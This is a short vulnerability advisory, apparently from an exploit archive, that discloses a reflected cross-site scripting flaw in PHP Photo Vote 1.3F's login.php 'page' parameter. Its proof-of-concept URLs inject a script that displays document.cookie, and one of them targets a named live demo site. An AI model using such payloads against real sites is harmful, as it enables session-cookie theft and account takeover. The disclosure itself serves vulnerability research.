/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

PHP Photo Vote 1.3F Remote XSS Vulnerabilities

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.ecomstudio.net/sales/

Greetings : Mizoz, Zuka, str0ke, 599eme Man.

*/

[+] Exploit XSS:

- Vulnerable code in login.php (page).

- Poc:
  http://127.0.0.1/login.php?page=[XSS]
  http://phpmatrix.com/demo/photovote/login.php?page="><script>alert(document.cookie);</script>